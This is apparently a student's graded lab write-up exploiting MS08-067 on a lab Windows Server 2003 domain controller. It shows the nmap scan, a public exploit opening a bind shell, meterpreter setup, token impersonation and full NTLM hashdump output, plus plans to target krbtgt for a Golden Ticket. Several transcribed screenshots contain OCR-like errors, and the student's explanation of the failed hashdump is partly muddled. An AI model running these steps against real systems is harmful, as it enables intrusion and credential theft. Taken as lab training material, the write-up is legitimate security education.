

Metasploit (Lab #6) - 75 Points

Vulnerability Identification

1. **Screenshot** your scan results (including the nmap command used) and include in your submission

Answer:

What I did was go to `cd /usr/share/nmap/scripts` and then list directory to see the pre-loaded .nse script files. Then I found `smb-vuln-ms08-067.nse`, however I ran `-script=smb-check-vulns` which I found here <https://www.giac.org/paper/gpen/49/scanning-windows-deeper-nmap-scanning-engine/117125> but the "smb-check-vulns" script was not in the directory. The results in the screenshot below make sense because CVE ID result is 2008-4250 found here <https://nvd.nist.gov/vuln/detail/CVE-2008-4250> which I found from this link <https://learn.microsoft.com/en-us/securityupdates/securitybulletins/2008/ms08-067>

```
(root@kali)-[~]
# nmap -PN -p139,445 --script=smb-vuln-ms08-067.nse 10.12.0.10
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-20 15:18 CDT
Nmap scan report for 10.12.0.10
Host is up (0.00015s latency).

PORT      STATE SERVICE
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:50:56:A1:F7:9D (VMware)

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|     Microsoft Windows system vulnerable to remote code execution (MS08-067)
|       State: VULNERABLE
|       IDs: CVE:CVE-2008-4250
|       The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|       Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|       code via a crafted RPC request that triggers the overflow during path canonicalization.
|       Disclosure date: 2008-10-23
|       References:
|         https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|         https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_

Nmap done: 1 IP address (1 host up) scanned in 0.36 seconds

(root@kali)-[~]
#
```

Exploiting MS08-067 - Manual

- 1) Include screenshots asked for above. Gather the following information about the server and include in your submission (15 pts) :

Answer:

See screenshot below from Question 4:

```
(root@kali)-[~]
# python2 exploit.py 10.12.0.10 2
#####
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#####

[-]Windows 2003[SP2] payload loaded
[-]Initiating connection

[-]connected to ncacn_np:10.12.0.10[\pipe\browser]
[-]Exploit sent to target successfully ...
[1]Telnet to port 4444 on target machine ...

(root@kali)-[~]
# telnet 10.12.0.10 4444
Trying 10.12.0.10 ...
Connected to 10.12.0.10.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>ipconfig /all && hostname && date /t && time /t
ipconfig /all && hostname && date /t && time /t

Windows IP Configuration

Ethernet adapter Local Area Connection 2:

    Connection-specific DNS Suffix  . : 
    IP Address. . . . . : 10.12.0.10
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 10.12.0.254
gibson2003ad
Sun 10/20/2024
04:04 PM

C:\WINDOWS\system32>
```

Screenshot below where I circled OS version information in red:

```
(root@kali)~#  
# telnet 10.12.0.10 4444  
Trying 10.12.0.10 ...  
Connected to 10.12.0.10.  
Escape character is '^'.  
Microsoft Windows [Version 5.2.3798]  
(C) Copyright 1985-2003 Microsoft Corp.  
  
C:\WINDOWS\system32>ipconfig /all hostname /all date /t /all time /t  
ipconfig /all hostname /all date /t /all time /t  
  
Windows IP Configuration  
  
Ethernet adapter Local Area Connection 2:  
  
    Connection-specific DNS Suffix  . :  
    IP Address. . . . . : 10.12.0.10  
    Subnet Mask . . . . . : 255.255.255.0  
    Default Gateway . . . . . : 10.12.0.254  
gibson2003ad  
Sun 10/20/2024  
04:04 PM  
  
C:\WINDOWS\system32>systeminfo  
systeminfo  
Host Name:                gibson2003ad  
OS Name:                  Microsoft(R) Windows(R) Server 2003, Standard Edition  
OS Version:               5.2.3798 Service Pack 1 Build 3798  
OS Manufacturer:         Microsoft Corporation  
OS Configuration:        Primary Domain Controller  
OS Build Type:             Uniprocessor Free  
Registered Owner:         Gibson Inc.  
Registered Organization:   Gibson Inc.  
Product ID:                69712-658-2863181-45584  
Original Install Date:     12/9/2003, 1:34:07 PM  
System Up Time:            0 Days, 2 Hours, 45 Minutes, 15 Seconds  
System Manufacturer:       VMware, Inc.  
System Model:              VMware Virtual Platform  
System Type:               X86-based PC  
Processor(s):              1 Processor(s) Installed.  
                           [01]: x86 Family 6 Model 85 Stepping 7 GenuineIntel ~2095 Mhz  
BIOS Version:              INTEL - 6040000  
Windows Directory:        C:\WINDOWS  
System Directory:          C:\WINDOWS\system32  
Boot Device:               \Device\HarddiskVolume1  
System Locale:              en-us;English (United States)  
Input Locale:              en-us;English (United States)  
Time Zone:                 (GMT-06:00) Central Time (US & Canada)  
Total Physical Memory:     2,047 MB  
Available Physical Memory: 1,747 MB  
Page File: Max Size:       3,434 MB  
Page File: Available:      3,253 MB  
Page File: In Use:         181 MB  
Page File Location(s):     C:\pagefile.sys  
Domain:                    gibson.local  
Logon Server:              N/A  
Hotfix(s):                 3 Hotfix(s) Installed.  
                           [01]: File 1  
                           [02]: Q147222  
                           [03]: KB9111164 - Update  
Network Card(s):           1 NIC(s) Installed.  
                           [01]: VMware Accelerated AMD PCNet Adapter  
                           Connection Name: Local Area Connection 2  
                           DHCP Enabled:    No  
                           IP address(es)  
                           [01]: 10.12.0.10
```

Screenshot below where I circled in red current NIC card and IP settings on 10.12.0.10

```
Available Physical Memory: 1,747 MB
Page File: Max Size: 3,434 MB
Page File: Available: 3,253 MB
Page File: In Use: 181 MB
Page File Location(s): C:\pagefile.sys
Domain: gibson.local
Logon Server: N/A
Hotfix(a): 3 Hotfix(a) Installed.
[01]: File 1
[02]: Q147222
[03]: KB911164 - Update
Network Card(s): 1 Nic(s) Installed.
[01]: VMware Accelerated AMD PCNet Adapter
Connection Name: Local Area Connection 2
DHCP Enabled: No
IP address(es)
[01]: 10.12.0.10

C:\WINDOWS\system32>ipconfig /all
ipconfig /all

Windows IP Configuration

Host Name . . . . . : gibson2083ad
Primary Dns Suffix . . . . . : gibson.local
Node Type . . . . . : Unknown
IP Routing Enabled. . . . . : No
WINS Proxy Enabled. . . . . : No
DNS Suffix Search List. . . . . : gibson.local

Ethernet adapter Local Area Connection 2:

Connection-specific DNS Suffix . :
Description . . . . . : VMware Accelerated AMD PCNet Adapter
Physical Address. . . . . : 08-50-56-A1-F7-9D
DHCP Enabled. . . . . : No
IP Address. . . . . : 10.12.0.10
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 10.12.0.254
DNS Servers . . . . . : 127.0.0.1
```


Screenshot below where I circled in red a list of the users on 10.12.0.10 and the arp table for other clients that have connected recently.

```
Subnet Mask . . . . . : 255.255.255.0
Default Gateway . . . . . : 10.12.0.254
DNS Servers . . . . . : 127.0.0.1

C:\WINDOWS\system32>net user
net user

User accounts for \\

@74FF59D-9919-4637-9      accounting      Administrator
adminStudent1            adminStudent10  adminStudent11
adminStudent12            adminStudent13  adminStudent14
adminStudent15            adminStudent16  adminStudent17
adminStudent18            adminStudent19  adminStudent2
adminStudent20            adminStudent21  adminStudent22
adminStudent23            adminStudent24  adminStudent25
adminStudent26            adminStudent27  adminStudent28
adminStudent29            adminStudent3   adminStudent30
adminStudent31            adminStudent32  adminStudent33
adminStudent34            adminStudent35  adminStudent36
adminStudent37            adminStudent38  adminStudent39
adminStudent4             adminStudent40  adminStudent41
adminStudent42            adminStudent43  adminStudent44
adminStudent45            adminStudent46  adminStudent47
adminStudent48            adminStudent49  adminStudent5
adminStudent50            adminStudent6   adminStudent7
adminStudent8             adminStudent9   Guest
krbtgt                    root            sales
student1                  student10       student11
student12                  student13       student14
student15                  student16       student17
student18                  student19       student2
student20                  student21       student22
student23                  student24       student25
student26                  student27       student28
student29                  student3        student30
student31                  student32       student33
student34                  student35       student36
student37                  student38       student39
student4                   student40       student41
student42                  student43       student44
student45                  student46       student47
student48                  student49       student5
student50                  student6        student7
student8                   student9        SUPPORT_388945a@

** The command completed with one or more errors.

C:\WINDOWS\system32>arp -a
arp -a


Interface: 10.12.0.10 --- 0x10003
Internet Address      Physical Address      Type
10.12.0.15            00-50-56-a1-a1-3d    dynamic
10.12.0.25            00-50-56-a1-c8-39    dynamic

C:\WINDOWS\system32>
```

Exploiting MS08-067 and Meterpreter Use

1. Now let set our exploit options to target the 2003 server. Look at the options available by typing `options`. First, change the RHOSTS value (the IP address of your target) by typing `set RHOSTS target_IP` using a Meterpreter Bind TCP payload by running `set payload windows/meterpreter/bind_tcp`. Finally set the exit function to be a process so our shell doesn't immediately die by running `set exitfunc process`. Take a [screenshot](#) of your `options`.

Answer: See Screenshot below



```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~ x root@kali: ~ x  
msf6 exploit(windows/smb/ms08_067_netapi) > show options  
Module options (exploit/windows/smb/ms08_067_netapi):  


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| RHOSTS  | 10.12.0.10      | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 445             | yes      | The SMB service port (TCP)                                                                             |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)                                                                 |

  
Payload options (windows/meterpreter/bind_tcp):  


| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | process         | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LPORT    | 4444            | yes      | The listen port                                           |
| RHOST    | 10.12.0.10      | no       | The target address                                        |

  
Exploit target:  


| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |

  
[*] [142.250.160.14:60] [C:301] [R:http://www.google.com/">share/A>  
[*] Scanned 1 of 1 hosts (100% complete)  
[*] Auxiliary module execution completed  
View the full module info with the info, or info -d command.  
msf6 auxiliary/scanner/http_title >  
msf6 exploit(windows/smb/ms08_067_netapi) >
```


2. What accounts from the password hash dump would be of interest for the purpose of cracking? Which ones would you likely skip/not crack? (15 pts)

Answer:

The accounts that would be of interest for the purpose of cracking are: The “krbtgt” so I can create my own Kerberos ticket aka the Golden Ticket, so I can have access to the entire AD domain with unlimited access.

The ones that I would skip/not crack are everything else including all of the student# accounts, adminStudent# accounts because those are all the same hash and I wouldn’t need them anyways if I have the krbtgt hash.

See screenshot below of hashdump command and hashes that were dumped results. (3 screenshots total to fit all the password hashes)



```
meterpreter > getsid
Server SID: S-1-5-18
meterpreter > hashdump
Administrator:500:5672781ce2cb5ab8aad3b435b51404ee:eab4556003a83e179a149ce6583e097f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:84b79501f2a09f3d8bb600310679da902:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:83016137a42cbe99960dfb7b91d209f5:::
sales:1109:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
074FF59D-9919-4E57-9:1114:aad3b435b51404eeaad3b435b51404ee:e8b661e04c95eb5053f1c8b293086741:::
accounting:1115:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
root:1118:aad3b435b51404eeaad3b435b51404ee:225cea5849f33888b0f8959550839044:::
student1:1119:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student2:1120:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student3:1121:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student4:1122:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student5:1123:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student6:1124:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student7:1125:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student8:1126:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student9:1127:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student10:1128:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student11:1129:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student12:1130:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student13:1131:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student14:1132:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student15:1133:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student16:1134:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student17:1135:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student18:1136:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student19:1137:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student20:1138:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student21:1139:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student22:1140:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student23:1141:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student24:1142:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student25:1143:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student26:1144:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student27:1145:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
```


[illegible]


```
root@kali: ~# cat /dev/tty
adminStudent17:1185:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent18:1186:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent19:1187:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent20:1188:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent21:1189:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent22:1190:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent23:1191:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent24:1192:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent25:1193:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent26:1194:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent27:1195:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent28:1196:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent29:1197:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent30:1198:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent31:1199:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent32:1200:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent33:1201:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent34:1202:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent35:1203:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent36:1204:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent37:1205:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent38:1206:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent39:1207:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent40:1208:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent41:1209:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent42:1210:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent43:1211:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent44:1212:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent45:1213:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent46:1214:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent47:1215:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent48:1216:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent49:1217:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
adminStudent50:1218:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159 :::
GIBSON2003AD$:1003:aad3b435b51404eeaad3b435b51404ee:3979b98e707216e1035be4f5b0296506 :::
GIBSONXP01$:1106:aad3b435b51404eeaad3b435b51404ee:54e92e6da91a6b2f7e21a230d431ae76 :::
GIBSON2003EXCHA$:1111:aad3b435b51404eeaad3b435b51404ee:941f837a38ca864432c87aca7261f032 :::
GIBSON2003SQL05$:1116:aad3b435b51404eeaad3b435b51404ee:e25053754d8f13bf14e8c709a6f010ab :::
CSEC-388-WIN10$:1117:aad3b435b51404eeaad3b435b51404ee:82519f1072f45fdb595533631d771817 :::
meterpreter >
```

Running exploit modules

Token Manipulation with Metasploit

1. Return to Kali and run `getpid` to get the process ID that Meterpreter is running in. Note the User context that the process runs under is user. We can also find this by running the command `getuid`. Then run `ps` to find the process name. What account was running the exploited process? What is this process and what does it do in Windows? Take a [screenshot](#) of your results.

Answer:

The account that was running the exploited process, process ID 1004, which is svchost.exe, is the SYSTEM account. Svchost.exe has access to the DLL library and Metasploit allows you to modify DLL's after the system is exploited.

The process is svchost.exe and it is basically a server service that runs different Windows services that run under it. A fun fact from this link, “If an exploit attempt fails, this could also lead to a crash in Svchost.exe. If a crash in Svchost.exe happens, svchost.exe will be affected. The Server service provides file, print, and named pipe sharing over the network.” - <https://support.microsoft.com/en-us/topic/ms08-067-vulnerability-in-server-service-could-allow-remote-code-execution-ac7878fc-be69-7143-472d-2507a179cd15>

See screenshot below:

```

root@kali: ~
File Actions Edit View Help

root@kali: ~ x root@kali: ~ x

[*] Sending stage (175686 bytes) to 10.12.0.10
[*] Meterpreter session 1 opened (10.12.0.25:42989 → 10.12.0.10:4444) at 2024-10-21 14:46:41 -0500

meterpreter > getpid
Current pid: 1004
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > ps

Process List

PID PPID Name Arch Session User Path
-- --
0 0 [System Process]
4 0 System x86 0 NT AUTHORITY\SYSTEM
180 484 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
240 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
296 440 userinit.exe x86 0 GIBSON\Administrator C:\WINDOWS\system32\userinit.exe
316 484 VGAuthService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuthService.exe
348 484 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
416 240 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
440 240 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
484 440 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
496 440 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
712 484 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
796 1740 vmtoolsd.exe x86 0 GIBSON\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
860 484 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
940 484 svchost.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\svchost.exe
992 484 svchost.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\system32\svchost.exe
1004 484 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1460 484 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1636 712 wmiiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiiprvse.exe
1692 484 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
1732 440 userinit.exe x86 0 GIBSON\Administrator C:\Documents and Settings\Administrator\userinit.exe
1740 296 explorer.exe x86 0 GIBSON\Administrator C:\WINDOWS\Explorer.EXE
1744 484 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
1776 484 msdtc.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\msdtc.exe
1848 484 dfssvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dfssvc.exe
1900 484 dns.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dns.exe
1960 484 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
1984 484 ismserv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\ismserv.exe
2016 484 ntfrs.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\ntfrs.exe
2168 484 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
2752 712 wmiiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiiprvse.exe

```

2. Try to dump the hashes again.

2) Why was the hashdump unsuccessful? (15 pts)

Answer:

The reason the hashdump was unsuccessful is because it appears that the NT AUTHORITY\SYSTEM account has higher privileges than the gibbon.local Administrator account, which is a user account. In addition, as insurance to this answer, I verified in the 2003AD settings on the box that the local account “Administrator” was a member of the basic standard “User” groups/policies. The perception is using Meterpreter acting like a different account, which is now just “user” account locally from the gibbon AD domain and not an actual Computer SYSTEM account. So even though the use of Metasploit’s Meterpreter’s injecting

malicious code which makes this PC directory remotely visible, when alternating delegation tokens as the “current” account I’m impersonating, what I still have access to performing and doing is still limited based on the privilege of the account.

Also, I found this online below, and to summarize and connect it with my reasoning above, is the database where the hashes are stored, is “presently” not enabled for the “Administrator” account to have access to, and could be protected by this policy in Group Policy editor on 2003AD.

“As an administrator, security settings/configurations can prevent one from getting access to the SAM database. The database is protected by a Windows feature called Protected SAM, which can be configured through a policy.”Source:

<https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password>

3. Try to steal the token of the System account again by going back to the initial process by re-stealing the associated token (`impersonate_token token_you_want_to_impersonate`). Take a screenshot of your result/error.
- 3) Why were you unable to “steal back” the system token (i.e. what account(s) have access to the tokens, specifically the impersonate delegate tokens)? (15 pts)

Answer:

I got an error that I was not able to steal back the NT AUTHORITY\SYSTEM token because since I was not operating as a SYSTEM token, the delegation tokens available from earlier are not available because there are less privileges. I verified this and confirmed that the account titled “Administrator” is just a User account, and this User account does not have the same system wide privilege as NT AUTHORITY\SYSTEM. I tried executing the command `list_tokens -u` and I also get an additional Access is denied error. So what this means is the NT AUTHORITY accounts have access to the impersonate delegate tokens, so you should be able to switch to different tokens while impersonating these, but once you switch to a GIBSON local “User” account, you simple don’t have the privileges to view them, which require a revert back to the SYSTEM account through the `rev2self` command. The SYSTEM account always has the highest level of elevated access compared to any other account basically.

See screenshot below:


```
meterpreter > list_tokens -u

Delegation Tokens Available
=====
GIBSON\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
=====
No tokens available

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > impersonate_token GIBSON\Administrator
[+] Delegation token available
[+] Successfully impersonated user GIBSON\Administrator
meterpreter > getuid
Server username: GIBSON\Administrator
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: Access is denied.
meterpreter > impersonate_token NT AUTHORITY\SYSTEM
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
    Call rev2self if primary process token is SYSTEM
meterpreter > 
```

Attempt to dump the hashes again. It should work. Include in a single [screenshot](#) the commands you used to revert to system level access (step 6), the output of getuid command (step 6), and the successful hashdump (step 7).

4) Include screenshots asked for above. (15 pts)

Answer: See Screenshot below:

```
root@kali: ~  
File Actions Edit View Help  
root@kali: ~ x root@kali: ~ x  
No tokens available  
  
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM  
meterpreter > impersonate_token GIBSON\Administrator  
[+] Delegation token available  
[+] Successfully impersonated user GIBSON\Administrator  
meterpreter > getuid  
Server username: GIBSON\Administrator  
meterpreter > hashdump  
[-] priv_passwd_get_sam_hashes: Operation failed: Access is denied.  
meterpreter > impersonate_token NT AUTHORITY\SYSTEM  
[-] Warning: Not currently running as SYSTEM, not all tokens will be available  
Call rev2self if primary process token is SYSTEM  
meterpreter > list_tokens -u  
[-] Warning: Not currently running as SYSTEM, not all tokens will be available  
Call rev2self if primary process token is SYSTEM  
[-] incognito_list_tokens: Operation failed: Access is denied.  
meterpreter > rev2self  
meterpreter > getuid  
Server username: NT AUTHORITY\SYSTEM  
meterpreter > list_tokens -u  
  
Delegation Tokens Available  
=====
```

GIBSON\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

```
=====
```

Impersonation Tokens Available

```
=====
```

No tokens available

meterpreter > hashdump

Administrator:500:5672781ce2cb5ab8aad3b435b51404ee:eab4556003a83e179a149ce6583e097f:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:84b79501f2a09f3dbb600310679da902:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:83016137a42cbe99960dfb7b91d209f5:::
sales:1109:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
074FF59D-9919-4E57-9:1114:aad3b435b51404eeaad3b435b51404ee:e8b661e04c95eb5053f1c8b293086741:::
accounting:1115:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
root:1118:aad3b435b51404eeaad3b435b51404ee:225cea5849f33888b0f8959550839044:::
student1:1119:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student2:1120:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student3:1121:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student4:1122:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student5:1123:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student6:1124:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student7:1125:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student8:1126:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student9:1127:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student10:1128:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student11:1129:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student12:1130:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::
student13:1131:c97d868dfa6900e8aad3b435b51404ee:a7f7a9298c0048c65022860099309159:::